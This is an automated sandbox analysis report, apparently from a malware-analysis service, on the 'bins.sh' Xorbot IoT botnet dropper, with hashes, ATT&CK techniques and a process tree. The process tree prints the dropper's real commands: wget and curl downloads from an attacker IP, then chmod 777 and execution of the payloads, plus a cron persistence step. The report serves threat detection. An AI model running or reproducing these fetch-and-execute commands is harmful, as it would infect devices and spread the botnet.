xorbot | 64e4641b6298c2c74c581b957519064d5b75e2c10413b00c9c80b51bf144d8ae

Analysis

max time kernel
149s
max time network
160s
platform
debian-9_armhf
resource
debian9-armhf-20240611-en
resource tags

arch:armhfimage:debian9-armhf-20240611-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
05/01/2025, 20:12

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General

Target

bins.sh
Size

10KB
MD5

6199f4dff7535b35fb225c6afd969645
SHA1

0246e2d10d111a8df6b975e232d31c9759916ba3
SHA256

64e4641b6298c2c74c581b957519064d5b75e2c10413b00c9c80b51bf144d8ae
SHA512

e029fc458ebd8eee60d9b7bec97e53d18e91d0b8ca7509429876ba54f2eacfeb125e65b42f2cec3c9b8f692ceba7b6545faaee16d4fbfc0f52d8fb95cdcaa807
SSDEEP

96:CzAcg+zLgQIaxtdyiCZVqMiit7Tcpt1bZptNbZh+/Acg+zLVaQIaxtYHGzyiCZV8:CzVyiCZVTncpt1bjthCByiCZV8

Score

10^/10

xorbot antivm botnet defense_evasion discovery execution persistence privilege_escalatio trojan

Malware Config

Signatures

Detects Xorbot 3 IoCs

botnet trojan

resource	yara_rule
behavioral2/files/fstream-1.dat	family_xorbot
behavioral2/files/fstream-3.dat	family_xorbot
behavioral2/files/fstream-5.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot
Contacts a large (2044) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 3 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
688	chmod
729	chmod
760	chmod

Executes dropped EXE 3 IoCs

ioc	pid	Process
/tmp/puI1vob6RJFbrILOhLGH9fIYwMAHCaubwy	690	puI1vob6RJFbrILOhLGH9fIYwMAHCaubwy
/tmp/lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP	731	lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
/tmp/NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF	762	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF

Renames itself 1 IoCs

pid	Process
763	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.sfQduB	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Checks CPU configuration 1 TTPs 3 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/107/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/878/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/943/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/991/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/992/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/933/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/812/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/1008/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/826/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/894/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/907/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/965/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/952/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/43/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/799/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/804/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/882/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/899/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/317/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/841/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/929/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/942/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/975/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/27/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/782/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/838/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/970/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/1012/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/104/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/648/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/789/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/903/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/981/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/830/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/836/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/842/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/909/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/851/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/999/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/811/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/876/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/891/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/906/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/962/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/843/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/854/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/936/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/940/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/983/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/993/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/987/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/777/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/871/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/892/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/947/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/954/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/646/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/654/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/809/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/961/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/6/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/638/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/797/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
File opened for reading	/proc/889/cmdline	NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF

Writes file to tmp directory 9 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP	curl
File opened for modification	/tmp/lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP	busybox
File opened for modification	/tmp/NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF	curl
File opened for modification	/tmp/puI1vob6RJFbrILOhLGH9fIYwMAHCaubwy	busybox
File opened for modification	/tmp/puI1vob6RJFbrILOhLGH9fIYwMAHCaubwy	curl
File opened for modification	/tmp/lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP	wget
File opened for modification	/tmp/NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF	wget
File opened for modification	/tmp/NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF	busybox
File opened for modification	/tmp/puI1vob6RJFbrILOhLGH9fIYwMAHCaubwy	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:648
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:650
- /usr/bin/wget
  wget http://66.63.187.225/bins/puI1vob6RJFbrILOhLGH9fIYwMAHCaubwy
  2⤵
  - Writes file to tmp directory
  PID:652
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/puI1vob6RJFbrILOhLGH9fIYwMAHCaubwy
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:678
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/puI1vob6RJFbrILOhLGH9fIYwMAHCaubwy
  2⤵
  - Writes file to tmp directory
  PID:681
- /bin/chmod
  chmod 777 puI1vob6RJFbrILOhLGH9fIYwMAHCaubwy
  2⤵
  - File and Directory Permissions Modification
  PID:688
- /tmp/puI1vob6RJFbrILOhLGH9fIYwMAHCaubwy
  ./puI1vob6RJFbrILOhLGH9fIYwMAHCaubwy
  2⤵
  - Executes dropped EXE
  PID:690
- /bin/rm
  rm puI1vob6RJFbrILOhLGH9fIYwMAHCaubwy
  2⤵
  PID:693
- /usr/bin/wget
  wget http://66.63.187.225/bins/lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
  2⤵
  - Writes file to tmp directory
  PID:694
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:706
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
  2⤵
  - Writes file to tmp directory
  PID:719
- /bin/chmod
  chmod 777 lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
  2⤵
  - File and Directory Permissions Modification
  PID:729
- /tmp/lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
  ./lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
  2⤵
  - Executes dropped EXE
  PID:731
- /bin/rm
  rm lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP
  2⤵
  PID:733
- /usr/bin/wget
  wget http://66.63.187.225/bins/NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
  2⤵
  - Writes file to tmp directory
  PID:734
- /usr/bin/curl
  curl -O http://66.63.187.225/bins/NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:739
- /bin/busybox
  /bin/busybox wget http://66.63.187.225/bins/NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
  2⤵
  - Writes file to tmp directory
  PID:752
- /bin/chmod
  chmod 777 NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
  2⤵
  - File and Directory Permissions Modification
  PID:760
- /tmp/NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
  ./NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:762
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:764
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:765
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:767
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:769
- /bin/rm
  rm NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF
  2⤵
  PID:777
- /usr/bin/wget
  wget http://66.63.187.225/bins/9JZQvpmlLlV7Yzr8shmxHaLo07AHJqabLG
  2⤵
  PID:780

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

Discovery

Network Service Discovery

T1046

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/NN1MeIIn3Zhi9yoShBIRLPEhgL1Xwo8PUF

Filesize
119KB

MD5
1b166b95f9cb4b079ef1b9ec8363ddf3

SHA1
0d8eb08add467b3b5474f9b25909297fe7c2839c

SHA256
94a19b33124cbbc1c570b3338f4dfbb2bf1a9335a72acf22be02a9bb8a323cc9

SHA512
983ae0f399df2a6cf1dd48ba09098964c5dcb55b8bd049bce8e9c2c15dd88336642da64908d93221247a64ce987950b05042b0fac8474b179f0b1f7f0aca6925

Download Submit
/tmp/lyga6kr0rIN0VPuIfTju0maYA1UKd1seAP

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit
/tmp/puI1vob6RJFbrILOhLGH9fIYwMAHCaubwy

Filesize
117KB

MD5
849fa04ef88a8e8de32cb2e8538de5fe

SHA1
c768af29fe4b6695fff1541623e8bbd1c6f242f7

SHA256
8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

SHA512
2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

Download Submit
/var/spool/cron/crontabs/tmp.sfQduB

Filesize
210B

MD5
da7c04d7c71fef3acdab4c138ad3a8f5

SHA1
6faf92c53e99260550406c2ad44f8213d59f726f

SHA256
dd33997c3d68739d6d5ba9e9194c092e2d5f0afdf6825bc1c109ebec4838a2d1

SHA512
601e8b4403cd11fafab96e02766183786d4fff715804948d5bae071b0c83ad6412834bed639c9e67e27f7d06c0441eae51b39b130d33a6ba40039081f107f8e3

Download Submit

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads